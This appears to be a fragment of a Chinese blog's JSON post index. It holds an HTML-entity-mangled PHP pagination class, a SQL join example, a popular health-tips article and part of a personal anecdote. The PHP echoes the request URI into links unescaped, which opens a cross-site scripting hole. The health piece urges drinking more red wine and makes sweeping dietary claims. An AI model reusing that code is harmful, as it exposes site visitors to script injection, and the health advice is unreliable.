$url=\u0026#8221;;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; if((!is_int($total))||($total\u0026lt;0))$this-\u0026gt;error(__FUNCTION__,$total.\u0026#8217; is not a positive integer!\u0026#8217;);\n\u0026nbsp;\u0026nbsp; if((!is_int($perpage))||($perpage\u0026lt;=0))$this-\u0026gt;error(__FUNCTION__,$perpage.\u0026#8217; is not a positive integer!\u0026#8217;);\n\u0026nbsp;\u0026nbsp; if(!empty($array[\u0026#8216;page_name\u0026#8217;]))$this-\u0026gt;set(\u0026#8216;page_name\u0026#8217;,$array[\u0026#8216;page_name\u0026#8217;]);//设置pagename\n\u0026nbsp;\u0026nbsp; $this-\u0026gt;_set_nowindex($nowindex);//设置当前页\n\u0026nbsp;\u0026nbsp; $this-\u0026gt;_set_url($url);//设置链接地址\n\u0026nbsp;\u0026nbsp; $this-\u0026gt;totalpage=ceil($total/$perpage);\n\u0026nbsp;\u0026nbsp; $this-\u0026gt;offset=($this-\u0026gt;nowindex-1)*$this-\u0026gt;perpage;\n\u0026nbsp;\u0026nbsp; if(!empty($array[\u0026#8216;ajax\u0026#8217;]))$this-\u0026gt;open_ajax($array[\u0026#8216;ajax\u0026#8217;]);//打开AJAX模式\n}\n/**\n\u0026nbsp;\u0026nbsp; * 设定类中指定变量名的值，如果改变量不属于这个类，将throw一个exception\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @param string $var\n\u0026nbsp;\u0026nbsp; * @param string $value\n\u0026nbsp;\u0026nbsp; */\nfunction set($var,$value)\n{\n\u0026nbsp;\u0026nbsp; if(in_array($var,get_object_vars($this)))\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;$var=$value;\n\u0026nbsp;\u0026nbsp; else {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;error(__FUNCTION__,$var.\u0026#8221; does not belong to PB_Page!\u0026#8221;);\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\n}\n/**\n\u0026nbsp;\u0026nbsp; * 打开倒AJAX模式\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @param string $action 默认ajax触发的动作。\n\u0026nbsp;\u0026nbsp; */\nfunction open_ajax($action)\n{\n\u0026nbsp;\u0026nbsp; $this-\u0026gt;is_ajax=true;\n\u0026nbsp;\u0026nbsp; $this-\u0026gt;ajax_action_name=$action;\n}\n/**\n\u0026nbsp;\u0026nbsp; * 获取显示\u0026#8221;下一页\u0026#8221;的代码\n\u0026nbsp;\u0026nbsp; * \u0026nbsp;\u0026nbsp; * @param string $style\n\u0026nbsp;\u0026nbsp; * @return string\n\u0026nbsp;\u0026nbsp; */\nfunction next_page($style=\u0026#8221;)\n{\n\u0026nbsp;\u0026nbsp; if($this-\u0026gt;nowindex\u0026lt;$this-\u0026gt;totalpage){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return $this-\u0026gt;_get_link($this-\u0026gt;_get_url($this-\u0026gt;nowindex+1),$this-\u0026gt;next_page,$style);\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return \u0026#8216;\u0026lt;span class=\u0026#8221;\u0026#8216;.$style.'\u0026#8221;\u0026gt;\u0026#8217;.$this-\u0026gt;next_page.'\u0026lt;/span\u0026gt;\u0026#8217;;\n}\n/**\n\u0026nbsp;\u0026nbsp; * 获取显示“上一页”的代码\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @param string $style\n\u0026nbsp;\u0026nbsp; * @return string\n\u0026nbsp;\u0026nbsp; */\nfunction pre_page($style=\u0026#8221;)\n{\n\u0026nbsp;\u0026nbsp; if($this-\u0026gt;nowindex\u0026gt;1){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return $this-\u0026gt;_get_link($this-\u0026gt;_get_url($this-\u0026gt;nowindex-1),$this-\u0026gt;pre_page,$style);\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return \u0026#8216;\u0026lt;span class=\u0026#8221;\u0026#8216;.$style.'\u0026#8221;\u0026gt;\u0026#8217;.$this-\u0026gt;pre_page.'\u0026lt;/span\u0026gt;\u0026#8217;;\n}\n/**\n\u0026nbsp;\u0026nbsp; * 获取显示“首页”的代码\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @return string\n\u0026nbsp;\u0026nbsp; */\nfunction first_page($style=\u0026#8221;)\n{\n\u0026nbsp;\u0026nbsp; if($this-\u0026gt;nowindex==1){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return \u0026#8216;\u0026lt;span class=\u0026#8221;\u0026#8216;.$style.'\u0026#8221;\u0026gt;\u0026#8217;.$this-\u0026gt;first_page.'\u0026lt;/span\u0026gt;\u0026#8217;;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return $this-\u0026gt;_get_link($this-\u0026gt;_get_url(1),$this-\u0026gt;first_page,$style);\n}\n/**\n\u0026nbsp;\u0026nbsp; * 获取显示“尾页”的代码\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @return string\n\u0026nbsp;\u0026nbsp; */\nfunction last_page($style=\u0026#8221;)\n{\n\u0026nbsp;\u0026nbsp; if($this-\u0026gt;nowindex==$this-\u0026gt;totalpage){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return \u0026#8216;\u0026lt;span class=\u0026#8221;\u0026#8216;.$style.'\u0026#8221;\u0026gt;\u0026#8217;.$this-\u0026gt;last_page.'\u0026lt;/span\u0026gt;\u0026#8217;;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; return $this-\u0026gt;_get_link($this-\u0026gt;_get_url($this-\u0026gt;totalpage),$this-\u0026gt;last_page,$style);\n}\nfunction nowbar($style=\u0026#8221;,$nowindex_style=\u0026#8221;)\n{\n\u0026nbsp;\u0026nbsp; $plus=ceil($this-\u0026gt;pagebarnum/2);\n\u0026nbsp;\u0026nbsp; if($this-\u0026gt;pagebarnum-$plus+$this-\u0026gt;nowindex\u0026gt;$this-\u0026gt;totalpage)$plus=($this-\u0026gt;pagebarnum-$this-\u0026gt;totalpage+$this-\u0026gt;nowindex);\n\u0026nbsp;\u0026nbsp; $begin=$this-\u0026gt;nowindex-$plus+1;\n\u0026nbsp;\u0026nbsp; $begin=($begin\u0026gt;=1)?$begin:1;\n\u0026nbsp;\u0026nbsp; $return=\u0026#8221;;\n\u0026nbsp;\u0026nbsp; for($i=$begin;$i\u0026lt;$begin+$this-\u0026gt;pagebarnum;$i++)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if($i\u0026lt;=$this-\u0026gt;totalpage){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if($i!=$this-\u0026gt;nowindex)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $return.=$this-\u0026gt;_get_text($this-\u0026gt;_get_link($this-\u0026gt;_get_url($i),$i,$style));\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; else \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $return.=$this-\u0026gt;_get_text(\u0026#8216;\u0026lt;span class=\u0026#8221;\u0026#8216;.$nowindex_style.'\u0026#8221;\u0026gt;\u0026#8217;.$i.'\u0026lt;/span\u0026gt;\u0026#8217;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }else{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $return.=\u0026#8221;n\u0026#8221;;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; unset($begin);\n\u0026nbsp;\u0026nbsp; return $return;\n}\n/**\n\u0026nbsp;\u0026nbsp; * 获取显示跳转按钮的代码\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @return string\n\u0026nbsp;\u0026nbsp; */\nfunction select()\n{\n\u0026nbsp;\u0026nbsp; $return='\u0026lt;select name=\u0026#8221;PB_Page_Select\u0026#8221; \u0026gt;\u0026#8217;;\n\u0026nbsp;\u0026nbsp; for($i=1;$i\u0026lt;=$this-\u0026gt;totalpage;$i++)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if($i==$this-\u0026gt;nowindex){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $return.='\u0026lt;option value=\u0026#8221;\u0026#8216;.$i.'\u0026#8221; selected\u0026gt;\u0026#8217;.$i.'\u0026lt;/option\u0026gt;\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }else{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $return.='\u0026lt;option value=\u0026#8221;\u0026#8216;.$i.'\u0026#8221;\u0026gt;\u0026#8217;.$i.'\u0026lt;/option\u0026gt;\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; unset($i);\n\u0026nbsp;\u0026nbsp; $return.='\u0026lt;/select\u0026gt;\u0026#8217;;\n\u0026nbsp;\u0026nbsp; return $return;\n}\n/**\n\u0026nbsp;\u0026nbsp; * 获取mysql 语句中limit需要的值\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @return string\n\u0026nbsp;\u0026nbsp; */\nfunction offset()\n{\n\u0026nbsp;\u0026nbsp; return $this-\u0026gt;offset;\n}\n/**\n\u0026nbsp;\u0026nbsp; * 控制分页显示风格（你可以增加相应的风格）\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @param int $mode\n\u0026nbsp;\u0026nbsp; * @return string\n\u0026nbsp;\u0026nbsp; */\nfunction show($mode=1)\n{\n\u0026nbsp;\u0026nbsp; switch ($mode)\n\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; case \u0026#8216;1\u0026#8217;:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;next_page=\u0026#8217;下一页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;pre_page=\u0026#8217;上一页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return $this-\u0026gt;pre_page().$this-\u0026gt;nowbar().$this-\u0026gt;next_page().\u0026#8217;第\u0026#8217;.$this-\u0026gt;select().\u0026#8217;页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; case \u0026#8216;2\u0026#8217;:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;next_page=\u0026#8217;下一页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;pre_page=\u0026#8217;上一页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;first_page=\u0026#8217;首页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;last_page=\u0026#8217;尾页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return $this-\u0026gt;first_page().$this-\u0026gt;pre_page().'[第\u0026#8217;.$this-\u0026gt;nowindex.\u0026#8217;页]\u0026#8217;.$this-\u0026gt;next_page().$this-\u0026gt;last_page().\u0026#8217;第\u0026#8217;.$this-\u0026gt;select().\u0026#8217;页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; case \u0026#8216;3\u0026#8217;:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;next_page=\u0026#8217;下一页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;pre_page=\u0026#8217;上一页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;first_page=\u0026#8217;首页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;last_page=\u0026#8217;尾页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return $this-\u0026gt;first_page().$this-\u0026gt;pre_page().$this-\u0026gt;next_page().$this-\u0026gt;last_page();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; case \u0026#8216;4\u0026#8217;:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;next_page=\u0026#8217;下一页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;pre_page=\u0026#8217;上一页\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return $this-\u0026gt;pre_page().$this-\u0026gt;nowbar().$this-\u0026gt;next_page();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; case \u0026#8216;5\u0026#8217;:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return $this-\u0026gt;pre_bar().$this-\u0026gt;pre_page().$this-\u0026gt;nowbar().$this-\u0026gt;next_page().$this-\u0026gt;next_bar();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\n}\n/*\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-private function (私有方法)\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;*/\n/**\n\u0026nbsp;\u0026nbsp; * 设置url头地址\n\u0026nbsp;\u0026nbsp; * @param: String $url\n\u0026nbsp;\u0026nbsp; * @return boolean\n\u0026nbsp;\u0026nbsp; */\nfunction _set_url($url=\u0026#8221;\u0026#8221;)\n{\n\u0026nbsp;\u0026nbsp; if(!empty($url)){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //手动设置\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;url=$url.((stristr($url,\u0026#8217;?\u0026#8217;))?\u0026#8217;\u0026amp;\u0026#8217;:\u0026#8217;?\u0026#8217;).$this-\u0026gt;page_name.\u0026#8221;=\u0026#8221;;\n\u0026nbsp;\u0026nbsp; }else{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //自动获取\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(empty($_SERVER[\u0026#8216;QUERY_STRING\u0026#8217;])){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //不存在QUERY_STRING时\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;url=$_SERVER[\u0026#8216;REQUEST_URI\u0026#8217;].\u0026#8221;?\u0026#8221;.$this-\u0026gt;page_name.\u0026#8221;=\u0026#8221;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }else{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(stristr($_SERVER[\u0026#8216;QUERY_STRING\u0026#8217;],$this-\u0026gt;page_name.\u0026#8217;=\u0026#8217;)){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //地址存在页面参数\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;url=str_replace($this-\u0026gt;page_name.\u0026#8217;=\u0026#8217;.$this-\u0026gt;nowindex,\u0026#8221;,$_SERVER[\u0026#8216;REQUEST_URI\u0026#8217;]);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $last=$this-\u0026gt;url[strlen($this-\u0026gt;url)-1];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if($last==\u0026#8217;?\u0026#8217;||$last==\u0026#8217;\u0026amp;\u0026#8217;){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;url.=$this-\u0026gt;page_name.\u0026#8221;=\u0026#8221;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }else{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;url.=\u0026#8217;\u0026amp;\u0026#8217;.$this-\u0026gt;page_name.\u0026#8221;=\u0026#8221;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }else{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;url=$_SERVER[\u0026#8216;REQUEST_URI\u0026#8217;].\u0026#8217;\u0026amp;\u0026#8217;.$this-\u0026gt;page_name.\u0026#8217;=\u0026#8217;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }//end if\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }//end if\n\u0026nbsp;\u0026nbsp; }//end if\n}\n/**\n\u0026nbsp;\u0026nbsp; * 设置当前页面\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; */\nfunction _set_nowindex($nowindex)\n{\n\u0026nbsp;\u0026nbsp; if(empty($nowindex)){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //系统获取\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(isset($_GET[$this-\u0026gt;page_name])){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;nowindex=intval($_GET[$this-\u0026gt;page_name]);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp; }else{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //手动设置\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $this-\u0026gt;nowindex=intval($nowindex);\n\u0026nbsp;\u0026nbsp; }\n}\n\u0026nbsp;\u0026nbsp;\n/**\n\u0026nbsp;\u0026nbsp; * 为指定的页面返回地址值\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @param int $pageno\n\u0026nbsp;\u0026nbsp; * @return string $url\n\u0026nbsp;\u0026nbsp; */\nfunction _get_url($pageno=1)\n{\n\u0026nbsp;\u0026nbsp; return $this-\u0026gt;url.$pageno;\n}\n/**\n\u0026nbsp;\u0026nbsp; * 获取分页显示文字，比如说默认情况下_get_text(\u0026#8216;\u0026lt;a href=\u0026#8221;\u0026#8221;\u0026gt;1\u0026lt;/a\u0026gt;\u0026#8217;)将返回[\u0026lt;a href=\u0026#8221;\u0026#8221;\u0026gt;1\u0026lt;/a\u0026gt;]\n\u0026nbsp;\u0026nbsp; *\n\u0026nbsp;\u0026nbsp; * @param String $str\n\u0026nbsp;\u0026nbsp; * @return string $url\n\u0026nbsp;\u0026nbsp; */ function _get_text($str)\n{\n\u0026nbsp;\u0026nbsp; return $this-\u0026gt;format_left.$str.$this-\u0026gt;format_right;\n}\n/**\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * 获取链接地址\n*/\nfunction _get_link($url,$text,$style=\u0026#8221;){\n\u0026nbsp;\u0026nbsp; $style=(empty($style))?\u0026#8221;:\u0026#8217;class=\u0026#8221;\u0026#8216;.$style.'\u0026#8221;\u0026#8216;;\n\u0026nbsp;\u0026nbsp; if($this-\u0026gt;is_ajax){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //如果是使用AJAX模式\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return \u0026#8216;\u0026lt;a \u0026#8216;.$style.\u0026#8217; href=\u0026#8221;javascript:\u0026#8217;.$this-\u0026gt;ajax_action_name.'(\u0026#8221;.$url.\u0026#8221;)\u0026#8221;\u0026gt;\u0026#8217;.$text.'\u0026lt;/a\u0026gt;\u0026#8217;;\n\u0026nbsp;\u0026nbsp; }else{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return \u0026#8216;\u0026lt;a \u0026#8216;.$style.\u0026#8217; href=\u0026#8221;\u0026#8216;.$url.'\u0026#8221;\u0026gt;\u0026#8217;.$text.'\u0026lt;/a\u0026gt;\u0026#8217;;\n\u0026nbsp;\u0026nbsp; }\n}\n/**\n\u0026nbsp;\u0026nbsp;\u0026nbsp; * 出错处理方式\n*/\nfunction error($function,$errormsg)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; die(\u0026#8216;Error in file \u0026lt;b\u0026gt;\u0026#8217;.__FILE__.'\u0026lt;/b\u0026gt; ,Function \u0026lt;b\u0026gt;\u0026#8217;.$function.'()\u0026lt;/b\u0026gt; :\u0026#8217;.$errormsg);\n}\n}\n?\u0026gt; ","permalink":"https://hessian.cn/p/410.html","summary":"\u0026lt;?\n/**\n* filename: ext_page.class.php\n* @package:phpbean\n* @author :feifengxlq\u0026lt;feifengxlq#gmail.com\u0026gt;\u0026lt;[url=http://www.phpobject.net/]http://www.phpobject.net/[/url]\u0026gt;\n* @copyright :Copyright 2006 feifengxlq\n* @license:version 2.0\n* @create:2006-5-31\n* @modify:2006-6-1\n* @modify:feifengxlq 2006-11-4\n* description:超强分页类，四种分页模式，默认采用类似baidu,google的分页风格。\n* 2.0增加功能：支持自定义风格，自定义样式，同时支持PHP4和PHP5,\n* to see detail,please visit [url=http://www.phpobject.net/blog/read.php]http://www.phpobject.net/blog/read.php[/url]?\n* example:\n* 模式四种分页模式：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; require_once(\u0026#8216;../libs/classes/page.class.php\u0026#8217;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $page=new page(array(\u0026#8216;total\u0026#8217;=\u0026gt;1000,\u0026#8217;perpage\u0026#8217;=\u0026gt;20));\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;mode:1\u0026lt;br\u0026gt;\u0026#8217;.$page-\u0026gt;show();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;\u0026lt;hr\u0026gt;mode:2\u0026lt;br\u0026gt;\u0026#8217;.$page-\u0026gt;show(2);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;\u0026lt;hr\u0026gt;mode:3\u0026lt;br\u0026gt;\u0026#8217;.$page-\u0026gt;show(3);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;\u0026lt;hr\u0026gt;mode:4\u0026lt;br\u0026gt;\u0026#8217;.$page-\u0026gt;show(4);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 开启AJAX：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; $ajaxpage=new page(array(\u0026#8216;total\u0026#8217;=\u0026gt;1000,\u0026#8217;perpage\u0026#8217;=\u0026gt;20,\u0026#8217;ajax\u0026#8217;=\u0026gt;\u0026#8217;ajax_page\u0026#8217;,\u0026#8217;page_name\u0026#8217;=\u0026gt;\u0026#8217;test\u0026#8217;));\n\u0026nbsp;\u0026nbsp;\u0026nbsp; echo \u0026#8216;mode:1\u0026lt;br\u0026gt;\u0026#8217;.$ajaxpage-\u0026gt;show();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 采用继承自定义分页显示模式：\n\u0026nbsp;\u0026nbsp;\u0026nbsp; demo:http://www.phpobject.net/blog\n*/\nclass page {\n/**\n\u0026nbsp;\u0026nbsp; * config ,public\n\u0026nbsp;\u0026nbsp; */\nvar $page_name=\u0026#8221;PB_page\u0026#8221;;//page标签，用来控制url页。比如说xxx.php?PB_page=2中的PB_page\nvar $next_page=\u0026#8217;\u0026gt;\u0026#8217;;//下一页\nvar $pre_page='\u0026lt;\u0026#8216;;//上一页\nvar $first_page=\u0026#8217;First\u0026#8217;;//首页\nvar $last_page=\u0026#8217;Last\u0026#8217;;//尾页\nvar $pre_bar='\u0026lt;\u0026lt;\u0026#8216;;//上一分页条\nvar $next_bar=\u0026#8217;\u0026gt;\u0026gt;\u0026#8217;;//下一分页条\nvar $format_left='[\u0026#8216;;\nvar $format_right=\u0026#8217;]\u0026#8217;;\nvar $is_ajax=false;//是否支持AJAX分页模式 ","title":"一个别人PHP的分页类"},{"content":"user表 ID NAME VIPlv\n01 user 02\n这张表用来存储用户信息\nVIP表 ID VIPname\n01 普通用户\n02 黄金用户\n这张表用来存储VIP等级的信息\n比如我要要这样输出\n编号:ID 用户名: 等级:黄金用户\nselect vip.vipname from user inner join vip on user.viplv=vip.id\n","permalink":"https://hessian.cn/p/559.html","summary":"user表 ID NAME VIPlv\n01 user 02\n这张表用来存储用户信息\nVIP表 ID VIPname\n01 普通用户\n02 黄金用户\n这张表用来存储VIP等级的信息\n比如我要要这样输出\n编号:ID 用户名: 等级:黄金用户\nselect vip.vipname from user inner join vip on user.viplv=vip.id\n","title":"数据库多表查询的一个简单例子"},{"content":"养生保健十二少\n作者 : 容小兴 千龙新闻网\n健康长寿，人人欲求。据古今中外保健专家的研究，养生保健离不开一个“少”字。\n少盐：盐是机体不可缺少的成分，更有调适口味的功能。但摄入过多的盐会加重心肾等器官的负担，还会使高血压患者血压更高。国人食盐量普遍超高，需减盐添康。\n少糖：国人的糖类消耗量平均水平并不高，但城乡差别和家庭之间状况差异极大，不少地方儿童嗜糖者为数不少。偏高的糖摄入使热量过剩，引发肥胖等恶果。\n少烟：香烟中含有大量的有毒物质，欲身体健康必须戒除烟瘾，这将会使你远离许多疾病，特别是能大大减少患癌症的机率。\n少酒：饮酒好坏各有所论，少量饮酒对身体有益，嗜酒醉酒则对身体有害，长期嗜酒还会引起酒精中毒，麻痹大脑和神经系统。建议多喝红酒。\n少忧：忧虑是最坏的情绪之一，在现代社会千变万化的发展中，人们应克服自己的欲望，自足常乐，没有必要对一些虚无的东西过度忧虑。\n少吃香炸食：油炸及烧烤食物受烹饪过程中高温的影响，使油脂和肉类蛋白发生异变，产生致癌物质，增加患癌症的危险。因此饮食应以清淡为主。\n少做省力事：现代人的工作和生活越来越舒适，脑力劳动已占据主要地位，身体缺乏必要的活动，是导致体弱多病和肥胖的根源，所以应多进行一些体力活动，促进新陈代谢。\n少做亏心事：做了亏心事的人，心理上总会产生持续的紧张或害怕或后悔等不良情绪，导致疾病增多，寿命减短。多做善事才有福。\n少享暴口福：暴食暴饮有许多不利健康的后果，容易形成酸性体质，使大脑和机体加速衰老。所以美味应浅尝有度。\n少在屋里呆：要经常走到大自然，呼吸新鲜空气，享受美好景色的熏陶，注意室内空气的流通，尽量减少污染源，促进身心健康。\n少荤多素好：肉类食物含有更多的对身体有害的物质，而蔬菜和水果中则含有更多的对人体有益的营养成分。在保证营养和能量的前提下，多素少荤能促进身体健康长寿。\n少发无名火：现代人的情绪更容易受到外界的影响，不良情绪的持久存在会导致机体代谢失常而患病。所以需重视心理的调控，戒躁戒怒，快乐健康。\n生活中还会有许多应该少一些而有益健康的行为，正常人要经常想到这些问题，并注意在生活中加以改进和调适，养生保健靠平时。\n","permalink":"https://hessian.cn/p/630.html","summary":"养生保健十二少\n作者 : 容小兴 千龙新闻网\n健康长寿，人人欲求。据古今中外保健专家的研究，养生保健离不开一个“少”字。\n少盐：盐是机体不可缺少的成分，更有调适口味的功能。但摄入过多的盐会加重心肾等器官的负担，还会使高血压患者血压更高。国人食盐量普遍超高，需减盐添康。\n","title":"养生保健十二少"},{"content":"到北京了\u0026nbsp;\u0026nbsp; 那禽兽居然给我说是在吉林\n我晕了。。。。他是分不清哪是北京还是分不清哪是吉林啊\u0026#8230;.\n我当时身上就只有几十块钱了\u0026#8230;.心里那个没底啊\u0026#8230;.\n手机也欠费了 还好还能接\n没办法 只好在车站那买了张IC卡 